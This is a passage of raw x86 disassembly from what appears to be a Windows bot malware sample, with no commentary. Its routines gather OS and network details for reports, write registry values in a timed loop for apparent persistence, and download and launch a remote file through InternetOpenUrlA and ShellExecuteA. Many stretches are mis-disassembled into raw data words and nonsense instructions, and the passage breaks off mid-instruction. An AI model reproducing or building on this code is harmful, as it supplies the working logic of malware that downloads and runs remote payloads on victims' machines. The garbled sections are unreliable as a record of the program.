ptr loc_4086AD+1 lea eax, [ebp-20Ch] push eax push ebx push dword_433E54 call sub_4084F5 add esp, 0Ch jmp loc_408594 ; --------------------------------------------------------------------------- loc_40865C: ; CODE XREF: .nsp0:00408606j inc eax mov [ebp-4], eax jmp short loc_408611 ; --------------------------------------------------------------------------- loc_408662: ; CODE XREF: .nsp0:004085C1j push offset dword_425468 push ebx push dword_433E54 call sub_4084F5 push dword ptr [ebp+8] call sub_411CB6 add esp, 10h push 1 call near ptr 0AB0000h scasd loc_408686: ; CODE XREF: .nsp0:004085E7j call sub_40848D push offset dword_42542C push ebx push dword_433E54 call sub_4084F5 push dword ptr [ebp+8] call sub_411CB6 add esp, 10h push edi call near ptr 0AB0000h loc_4086AD: ; CODE XREF: .nsp0:0040863Fj xchg ch, [eax-18h] push ebx inc edx add [ebx-1], dl xor eax, offset dword_433E54 call sub_4084F5 push dword ptr [ebp+8] call sub_411CB6 add esp, 10h push edi call near ptr 0AB0000h jmp far ptr 78ECh:81EC8B55h ; CODE XREF: .nsp0:0040EF72p ; --------------------------------------------------------------------------- db 3 dd 56530000h, 0FDABE857h, 0F633FFFFh, 0FE88858Dh, 5056FFFFh dd 10468h, 28685600h, 56004255h, 3B8415FFh, 0C0850043h dd 0C5840Fh, 16A0000h, 5BE4458Dh, 0D0FC3D8Bh, 50560041h dd 0C7F4458Dh, 0CE445h, 8D500000h, 8950F045h, 7589EC5Dh dd 85D7FFE8h, 98840FC0h, 8D000000h, 5056E445h, 50F8458Dh dd 50FC458Dh, 0C085D7FFh, 81840Fh, 3D8B0000h, 41D0F8h dd 5656036Ah, 433E1868h, 50D7FF00h, 0FFF875FFh, 99E850D7h dd 42006A78h, 5F74C085h, 458D106Ah, 0E85056D4h, 97F8h dd 458D446Ah, 56575F8Ch, 97EAE850h, 458B0000h, 18C483FCh dd 8BC44589h, 4589F445h, 0CC4589C8h, 89D4458Dh, 8D508C7Dh dd 56508C45h, 56535656h, 432708BBh, 858D5600h, 0FFFFFE88h dd 45C75053h, 101B8h, 75896600h, 783AE8BCh, 8539006Ah dd 830875C0h, 0AEE9FFC8h, 0FF000000h, 3D8BFC75h, 41D074h dd 458BD7FFh, 0D875FFF0h, 433E14A3h, 0F8458B00h, 433E1CA3h dd 0D4458B00h, 433E10A3h, 8BD7FF00h, 75390845h, 3E54A30Ch dd 5740043h, 0EB0C75FFh, 20685301h, 0E800433Eh, 96D6h dd 6A565959h, 54F46807h, 73E80042h, 8B000091h, 0DC4D8BF8h dd 234FF69h, 0C4830000h, 608F890Ch, 8D00438Ch, 5651D04Dh dd 857C6850h, 56560040h, 0D07015FFh, 0C63B0041h, 8C6C8789h dd 27750043h, 0D06C15FFh, 8D500041h, 0FFFC8885h, 54AC68FFh dd 0E8500042h, 967Eh, 0FC88858Dh, 0E850FFFFh, 59Bh, 3310C483h dd 5B5E5FC0h ; --------------------------------------------------------------------------- leave retn ; =============== S U B R O U T I N E ======================================= sub_408886 proc near ; CODE XREF: sub_405787+74p ; .nsp0:0040F016p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi call dword_41D048 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_433E5C push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_41246A add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_408886 endp ; --------------------------------------------------------------------------- db 53h dd 40BE5756h, 0F000F42h, 3E86831h, 0FA8B0000h, 15FFD88Bh dd 41D05Ch, 0C32B310Fh, 0D71B006Ah, 0E8505256h, 0B278h dd 0D88BFA8Bh, 0D777FF85h, 0DE3B0472h, 6AD177h, 5357646Ah dd 0B1DFE8h, 6ACA8B00h, 8BD23364h, 58C985F0h, 5725B77h dd 7350FE83h, 334B6A05h, 0C98558D2h, 5724B77h, 7347FE83h dd 33426A05h, 0C98558D2h, 5723B77h, 7337FE83h, 33326A05h dd 0C98558D2h, 5722B77h, 7326FE83h, 33216A05h, 0C98558D2h dd 5721B77h, 731EFE83h, 33196A05h, 0C98558D2h, 5720B77h dd 730AFE83h, 33C03304h, 1BC62BD2h, 13C303D1h, 5B5E5FD7h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4089A5 proc near ; CODE XREF: .nsp0:0040F1B3p var_1137B = byte ptr -1137Bh var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset byte_432708 mov [ebp+var_CC], 94h call dword_41D100 ; GetVersionExA xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_408A2C cmp [ebp+var_C4], ebx jnz short loc_408A08 cmp [ebp+var_BC], 1 jnz short loc_4089F2 mov [ebp+var_4], offset a95 ; "95" loc_4089F2: ; CODE XREF: sub_4089A5+44j cmp [ebp+var_BC], 2 jnz loc_408AA7 mov [ebp+var_4], offset aNt ; "NT" jmp short loc_408A78 ; --------------------------------------------------------------------------- loc_408A08: ; CODE XREF: sub_4089A5+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_408A1A mov [ebp+var_4], offset a98 ; "98" jmp short loc_408A6F ; --------------------------------------------------------------------------- loc_408A1A: ; CODE XREF: sub_4089A5+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_408A68 mov [ebp+var_4], offset aMe ; "ME" jmp short loc_408A6F ; --------------------------------------------------------------------------- loc_408A2C: ; CODE XREF: sub_4089A5+33j cmp [ebp+var_C8], 5 jnz short loc_408A68 cmp [ebp+var_C4], ebx jnz short loc_408A46 mov [ebp+var_4], offset a2k ; "2K" jmp short loc_408A6F ; --------------------------------------------------------------------------- loc_408A46: ; CODE XREF: sub_4089A5+96j cmp [ebp+var_C4], 1 jnz short loc_408A58 mov [ebp+var_4], offset aXp ; "XP" jmp short loc_408A6F ; --------------------------------------------------------------------------- loc_408A58: ; CODE XREF: sub_4089A5+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_408A6F loc_408A68: ; CODE XREF: sub_4089A5+7Cj ; sub_4089A5+8Ej mov [ebp+var_4], offset dword_425644 loc_408A6F: ; CODE XREF: sub_4089A5+73j ; sub_4089A5+85j ... cmp [ebp+var_BC], 2 jnz short loc_408AA7 loc_408A78: ; CODE XREF: sub_4089A5+61j cmp [ebp+var_B8], bl jz short loc_408AA7 lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset dword_42563C push eax call sub_411EEE lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_408AA7: ; CODE XREF: sub_4089A5+54j ; sub_4089A5+D1j ... mov ax, word_425638 push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_4339B4 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_408AE0 lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax ; dword_4339B4 loc_408AE0: ; CODE XREF: sub_4089A5+12Cj push [ebp+arg_4] call sub_408045 pop ecx push eax call dword_433B08 ; inet_addr mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_433A80 ; gethostbyaddr cmp eax, ebx jz short loc_408B09 push dword ptr [eax] jmp short loc_408B0E ; --------------------------------------------------------------------------- loc_408B09: ; CODE XREF: sub_4089A5+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_408B0E: ; CODE XREF: sub_4089A5+162j lea eax, [ebp+var_3E4] push eax call sub_411EEE pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax call near ptr 0AB0000h or cl, [ebp+var_1137B] jmp fword ptr [edx+46h] sub_4089A5 endp ; --------------------------------------------------------------------------- dw 6850h dd offset aDdMmmYyyy ; "dd:MMM:yyyy" dd 409BE53h, 56530000h, 6A74B7E8h, 858D0600h, 0FFFFFEA4h dd 6850466Ah, 422124h, 0E8565353h, 6A74A0h, 8D206AF3h dd 5053C845h, 9403E8h, 0CC48300h, 50C8458Dh, 6A7487E8h dd 53535900h, 53E8458Dh, 18858D50h, 50FFFFFBh, 0B06BE8h dd 0E8458D00h, 18858D50h, 50FFFFF8h, 0BF7E8h, 8B606A00h dd 0BD8D59F0h, 0FFFFF818h, 606AA5F3h, 0F818B58Dh, 8D59FFFFh dd 0FFF998BDh, 53A5F3FFh, 0FFFCC5E8h, 20C483FFh, 0A4858D50h dd 50FFFFFEh, 0FEEC858Dh, 8D50FFFFh, 0FFFDA485h, 75FF50FFh dd 0F463E80Ch, 5059FFFFh, 0FC1C858Dh, 8D50FFFFh, 0FFFB1885h dd 858D50FFh, 0FFFFFA18h, 0FF40B5FFh, 0B5FFFFFFh, 0FFFFFF3Ch dd 0FF38B5FFh, 75FFFFFFh, 858D50FCh, 0FFFFFA98h, 0D4458B50h dd 530AE8C1h, 0A62E850h, 59590000h, 0D0458B50h, 530AE8C1h dd 0A52E850h, 59590000h, 0FCB5E850h, 5052FFFFh, 42553C68h dd 2006800h, 75FF0000h, 981CE808h, 458B0000h, 50C48308h dd 0C95B5E5Fh ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408C59 proc near ; CODE XREF: .nsp0:0040E352p ; .nsp0:0040F1E1p var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_411F70 add esp, 0Ch cmp dword_433BB0, 0 jnz short loc_408CCD push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_433998 ; InternetGetConnectedStateExA test eax, eax jnz short loc_408CAE lea eax, [ebp+var_8C] push offset dword_4256B8 push eax call sub_411EEE pop ecx pop ecx loc_408CAE: ; CODE XREF: sub_408C59+40j test [ebp+var_C], 1 jz short loc_408CC6 push offset dword_4256B0 loc_408CB9: ; CODE XREF: sub_408C59+72j lea eax, [ebp+var_8] push eax call sub_411EEE pop ecx pop ecx jmp short loc_408CEC ; --------------------------------------------------------------------------- loc_408CC6: ; CODE XREF: sub_408C59+59j push offset dword_4256AC jmp short loc_408CB9 ; --------------------------------------------------------------------------- loc_408CCD: ; CODE XREF: sub_408C59+28j mov esi, offset off_4256A8 lea eax, [ebp+var_8] push esi push eax call sub_411EEE lea eax, [ebp+var_8C] push esi push eax call sub_411EEE add esp, 10h loc_408CEC: ; CODE XREF: sub_408C59+6Bj push [ebp+arg_4] push [ebp+arg_8] call sub_408045 pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s (%s). [IP Address"... push 200h push [ebp+arg_0] call sub_41246A mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_408C59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408D1F proc near ; CODE XREF: .nsp0:0040E288p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_437ED8 mov edi, 0B8h loc_408D33: ; CODE XREF: sub_408D1F+33j cmp byte ptr [esi], 0 jz short loc_408D56 push [ebp+arg_0] push esi call sub_412310 pop ecx test eax, eax pop ecx jz short loc_408D56 inc [ebp+var_4] add esi, edi cmp esi, offset dword_438A58 jl short loc_408D33 jmp short loc_408D98 ; --------------------------------------------------------------------------- loc_408D56: ; CODE XREF: sub_408D1F+17j ; sub_408D1F+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_437ED8[esi] push ebx call sub_411F70 push 17h push [ebp+arg_0] push ebx call sub_413710 push 9Fh lea eax, dword_437EF0[esi] push [ebp+arg_4] push eax call sub_413710 add esp, 24h inc dword_428178 pop ebx loc_408D98: ; CODE XREF: sub_408D1F+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_408D1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408D9F proc near ; CODE XREF: .nsp0:0040F31Fp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_4256D4 push [ebp+arg_4] push [ebp+arg_0] call sub_40F9F1 add esp, 14h xor edi, edi mov esi, offset dword_437ED8 loc_408DC9: ; CODE XREF: sub_408D9F+72j cmp byte ptr [esi], 0 jz short loc_408E04 lea eax, [esi+18h] push eax push esi push edi push offset dword_4256C8 lea eax, [ebp+var_200] push 200h push eax call sub_41246A push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40F9F1 add esp, 2Ch loc_408E04: ; CODE XREF: sub_408D9F+2Dj add esi, 0B8h inc edi cmp esi, offset dword_438A58 jl short loc_408DC9 pop edi pop esi leave retn sub_408D9F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408E17 proc near ; CODE XREF: sub_401000+97p ; .nsp0:004013C6p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax call dword_41D058 ; GetLocalTime mov ebx, offset dword_437E94 mov edi, 80h mov esi, offset dword_433E94 loc_408E39: ; CODE XREF: sub_408E17+3Dj cmp byte ptr [ebx], 0 jz short loc_408E50 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_413710 add esp, 0Ch loc_408E50: ; CODE XREF: sub_408E17+25j sub ebx, edi cmp ebx, esi jge short loc_408E39 movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41246A add esp, 28h pop edi pop esi pop ebx leave retn sub_408E17 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408E8B proc near ; CODE XREF: sub_406250+15Bp ; .nsp0:00406587p ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_413D3F lea eax, [ebp+var_80] push eax call sub_408E17 add esp, 14h leave retn sub_408E8B endp ; =============== S U B R O U T I N E ======================================= sub_408EB7 proc near ; CODE XREF: .nsp0:0040F216p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_433E94 xor ecx, ecx loc_408EBE: ; CODE XREF: sub_408EB7+13j mov [eax], cl add eax, 80h cmp eax, offset dword_437E94 jl short loc_408EBE cmp [esp+arg_C], ecx push esi mov esi, offset dword_425708 jnz short loc_408EEE push ecx push [esp+8+arg_8] push esi push [esp+10h+arg_4] push [esp+14h+arg_0] call sub_40F9F1 add esp, 14h loc_408EEE: ; CODE XREF: sub_408EB7+1Fj push esi call sub_408E17 pop ecx pop esi retn sub_408EB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408EF7 proc near ; DATA XREF: .nsp0:0040F2C9o var_31C = byte ptr -31Ch var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 31Ch mov eax, [ebp+arg_0] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp+var_11C] push 1 rep movsd xor edx, edx pop edi cmp [ebp+var_10], edx mov [ebp+var_8], 80h mov [ebp+var_4], edx mov [eax+110h], edi jnz short loc_408F4A push edx lea eax, [ebp+var_118] push [ebp+var_14] push offset dword_425770 push eax push [ebp+var_11C] call sub_40F9F1 add esp, 14h loc_408F4A: ; CODE XREF: sub_408EF7+33j cmp [ebp+var_98], 0 jz short loc_408F6A lea eax, [ebp+var_98] push eax call sub_41245F test eax, eax pop ecx mov [ebp+var_4], eax jz short loc_408F6A mov [ebp+var_8], eax loc_408F6A: ; CODE XREF: sub_408EF7+5Aj ; sub_408EF7+6Ej and [ebp+arg_0], 0 mov esi, offset dword_433E94 loc_408F73: ; CODE XREF: sub_408EF7+D4j mov eax, [ebp+arg_0] cmp eax, [ebp+var_8] jge short loc_408FCD cmp byte ptr [esi], 0 jz short loc_408FBC cmp [ebp+var_98], 0 jz short loc_408FA2 cmp [ebp+var_4], 0 jnz short loc_408FA2 lea eax, [ebp+var_98] push eax push esi call sub_407A16 pop ecx test eax, eax pop ecx jz short loc_408FBC loc_408FA2: ; CODE XREF: sub_408EF7+90j ; sub_408EF7+96j push edi lea eax, [ebp+var_118] push [ebp+var_14] push esi push eax push [ebp+var_11C] call sub_40F9F1 add esp, 14h loc_408FBC: ; CODE XREF: sub_408EF7+87j ; sub_408EF7+A9j inc [ebp+arg_0] add esi, 80h cmp esi, offset dword_437E94 jl short loc_408F73 loc_408FCD: ; CODE XREF: sub_408EF7+82j lea eax, [ebp+var_31C] push offset dword_425740 push eax call sub_411EEE xor esi, esi pop ecx cmp [ebp+var_10], esi pop ecx jnz short loc_409007 push esi lea eax, [ebp+var_31C] push [ebp+var_14] push eax lea eax, [ebp+var_118] push eax push [ebp+var_11C] call sub_40F9F1 add esp, 14h loc_409007: ; CODE XREF: sub_408EF7+EEj lea eax, [ebp+var_31C] push eax call sub_408E17 push [ebp+var_18] call sub_411CB6 pop ecx pop ecx push esi call near ptr 0AB0000h cmp [edi+5Eh], bl sub_408EF7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409026 proc near ; CODE XREF: .nsp0:00407D07p ; sub_409096+4p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_4257A0 xor esi, esi mov ebx, offset dword_425BD8 loc_409039: ; CODE XREF: sub_409026+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_433A7C ; RegCreateKeyExA cmp [ebp+arg_0], esi jz short loc_409073 push [ebp+arg_0] call sub_4126F0 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call dword_433AEC ; RegSetValueExA jmp short loc_40907D ; --------------------------------------------------------------------------- loc_409073: ; CODE XREF: sub_409026+2Fj push ebx push [ebp+var_4] call dword_433A34 ; RegDeleteValueA loc_40907D: ; CODE XREF: sub_409026+4Bj push [ebp+var_4] call dword_433AA4 ; RegCloseKey add edi, 8 cmp edi, offset unk_4257B8 jl short loc_409039 pop edi pop esi pop ebx leave retn sub_409026 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_409096 proc near ; CODE XREF: sub_409096+16j ; DATA XREF: .nsp0:00409EB3o arg_0 = dword ptr 4 push [esp+arg_0] call sub_409026 pop ecx push dword_425798 call dword_41D05C ; Sleep jmp short sub_409096 sub_409096 endp ; =============== S U B R O U T I N E ======================================= sub_4090AE proc near ; CODE XREF: sub_4090E9+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_4090E3 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_4090C7: ; CODE XREF: sub_4090AE+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_41D254[eax*4] xor esi, eax inc edx dec edi jnz short loc_4090C7 pop edi pop ebx loc_4090E3: ; CODE XREF: sub_4090AE+Ej mov eax, esi pop esi not eax retn sub_4090AE endp ; =============== S U B R O U T I N E ======================================= sub_4090E9 proc near ; CODE XREF: .nsp0:004093A5p var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_41279F mov [esp+10h+var_10], offset aRb ; "rb" push [esp+10h+arg_0] mov esi, eax call sub_4125E8 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_409138 loc_40910E: ; CODE XREF: sub_4090E9+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_40913C inc ebx push ebx push esi call sub_413D8F mov esi, eax pop ecx test esi, esi pop ecx jz short loc_409138 push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_413580 add esp, 10h jmp short loc_40910E ; --------------------------------------------------------------------------- loc_409138: ; CODE XREF: sub_4090E9+23j ; sub_4090E9+39j xor eax, eax jmp short loc_409157 ; --------------------------------------------------------------------------- loc_40913C: ; CODE XREF: sub_4090E9+29j dec ebx push ebx push esi call sub_4090AE push esi mov ebx, eax call sub_412813 push edi call sub_412540 add esp, 10h mov eax, ebx loc_409157: ; CODE XREF: sub_4090E9+51j pop edi pop esi pop ebx retn sub_4090E9 endp ; --------------------------------------------------------------------------- loc_40915B: ; DATA XREF: .nsp0:0040D609o ; .nsp0:0040DD5Ao push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+8] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp-2CCh] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp-248h] push esi push eax push dword_433A78 call dword_4339D8 ; InternetOpenUrlA cmp eax, esi mov [ebp-18h], eax jz loc_4095E7 push esi push esi push 2 push esi push esi lea eax, [ebp-148h] push 40000000h push eax call dword_41D07C ; CreateFileA cmp eax, edi mov [ebp-20h], eax jnb short near ptr loc_409221+1 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset unk_425A30 push eax call sub_411EEE add esp, 0Ch cmp [ebp-30h], esi jnz short loc_409205 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_40F9F1 add esp, 14h loc_409205: ; CODE XREF: .nsp0:004091E3j lea eax, [ebp-510h] push eax call sub_408E17 push dword ptr [ebp-48h] call sub_411CB6 pop ecx pop ecx push esi call near ptr 0AB0000h loc_409221: ; CODE XREF: .nsp0:004091C3j and eax, 15FFFF33h dec eax rol byte ptr [ecx+0], 1 mov ebx, 7D000h mov [ebp-4], eax push ebx call sub_41279F pop ecx mov [ebp-1Ch], eax loc_40923C: ; CODE XREF: .nsp0:0040930Fj push 200h lea eax, [ebp-510h] push esi push eax call sub_411F70 add esp, 0Ch lea eax, [ebp+8] push eax lea eax, [ebp-510h] push 200h push eax push dword ptr [ebp-18h] call dword_4339E0 ; InternetReadFile cmp [ebp-34h], esi jz short loc_409280 push dword ptr [ebp+8] lea eax, [ebp-510h] push eax call near ptr loc_40964C+1 pop ecx pop ecx loc_409280: ; CODE XREF: .nsp0:0040926Dj lea eax, [ebp-24h] push esi push eax lea eax, [ebp-510h] push dword ptr [ebp+8] push eax push dword ptr [ebp-20h] call near ptr 0AB0000h stosb cmp edi, ebx jnb short loc_4092BE mov eax, ebx sub eax, edi cmp eax, [ebp+8] jbe short loc_4092A8 mov eax, [ebp+8] loc_4092A8: ; CODE XREF: .nsp0:004092A3j push eax lea eax, [ebp-510h] push eax mov eax, [ebp-1Ch] add eax, edi push eax call sub_411FD0 add esp, 0Ch loc_4092BE: ; CODE XREF: .nsp0:0040929Aj add edi, [ebp+8] cmp [ebp-3Ch], esi jz short loc_4092CB cmp edi, [ebp-3Ch] ja short loc_409315 loc_4092CB: ; CODE XREF: .nsp0:004092C4j cmp dword ptr [ebp-44h], 1 mov eax, edi jz short loc_4092E5 shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_4259E4 jmp short loc_4092F5 ; --------------------------------------------------------------------------- loc_4092E5: ; CODE XREF: .nsp0:004092D1j shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_4259A0 loc_4092F5: ; CODE XREF: .nsp0:004092E3j mov eax, [ebp-48h] imul eax, 234h add eax, offset dword_438A58 push eax call sub_411EEE add esp, 10h cmp [ebp+8], esi ja loc_40923C loc_409315: ; CODE XREF: .nsp0:004092C9j cmp [ebp-3Ch], esi mov dword ptr [ebp-14h], 1 jz short loc_40936A cmp edi, [ebp-3Ch] jz short loc_40936A push dword ptr [ebp-3Ch] lea eax, [ebp-510h] mov [ebp-14h], esi push edi push offset unk_425958 push eax call sub_411EEE push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_40F9F1 lea eax, [ebp-510h] push eax call sub_408E17 add esp, 28h loc_40936A: ; CODE XREF: .nsp0:0040931Fj ; .nsp0:00409324j call dword_41D048 ; GetTickCount sub eax, [ebp-4] xor edx, edx mov ecx, 3E8h push dword ptr [ebp-20h] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax call dword_41D074 ; CloseHandle push dword ptr [ebp-1Ch] call sub_412813 cmp [ebp-38h], esi pop ecx jz short loc_4093F4 lea eax, [ebp-148h] push eax call sub_4090E9 cmp eax, [ebp-38h] pop ecx jz short loc_4093F4 push dword ptr [ebp-38h] mov [ebp-14h], esi push eax lea eax, [ebp-510h] push offset unk_42591C push eax call sub_411EEE push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_40F9F1 lea eax, [ebp-510h] push eax call sub_408E17 add esp, 28h loc_4093F4: ; CODE XREF: .nsp0:0040939Cj ; .nsp0:004093AEj cmp [ebp-14h], esi jz loc_409634 cmp dword ptr [ebp-44h], 1 jz loc_4094EF mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_41D658 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_41D658 fstp qword ptr [esp] push offset unk_4258D0 push eax call sub_411EEE add esp, 1Ch cmp [ebp-30h], esi jnz short loc_40946F push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_40F9F1 add esp, 14h loc_40946F: ; CODE XREF: .nsp0:0040944Dj lea eax, [ebp-510h] push eax call sub_408E17 cmp dword ptr [ebp-40h], 1 pop ecx jnz loc_409634 push 5 push esi lea eax, [ebp-148h] push esi push eax push offset aOpen ; "open" push esi call dword_433A3C ; ShellExecuteA cmp [ebp-30h], esi jnz loc_409634 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset dword_425898 push eax call sub_411EEE push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_40F9F1 lea eax, [ebp-510h] push eax call sub_408E17 add esp, 24h jmp loc_409634 ; --------------------------------------------------------------------------- loc_4094EF: ; CODE XREF: .nsp0:00409401j mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_41D658 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_41D658 fstp qword ptr [esp] push offset unk_425844 push eax call sub_411EEE add esp, 1Ch cmp [ebp-30h], esi jnz short loc_409557 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_40F9F1 add esp, 14h loc_409557: ; CODE XREF: .nsp0:00409535j lea eax, [ebp-510h] push eax call sub_408E17 push 10h lea eax, [ebp-10h] push esi push eax call sub_411F70 push 44h lea eax, [ebp-310h] pop edi push edi push esi push eax call sub_411F70 add esp, 1Ch mov [ebp-310h], edi lea eax, [ebp-10h] mov dword ptr [ebp-304h], offset byte_432708 push 1 mov [ebp-2E0h], si pop edi push eax lea eax, [ebp-310h] push eax push esi push esi push 28h push esi push esi lea eax, [ebp-148h] push esi push eax push esi mov [ebp-2E4h], edi call near ptr 0AB0000h ja short loc_4095FF mov dword ptr [ebp+12h], 3A2815FFh inc ebx add al, ch pop ss out 0FFh, eax call dword ptr [esi-1] adc eax, offset dword_41D108 loc_4095D9: ; CODE XREF: .nsp0:loc_40964Cj lea eax, [ebp-148h] push eax push offset unk_4257F8 jmp short 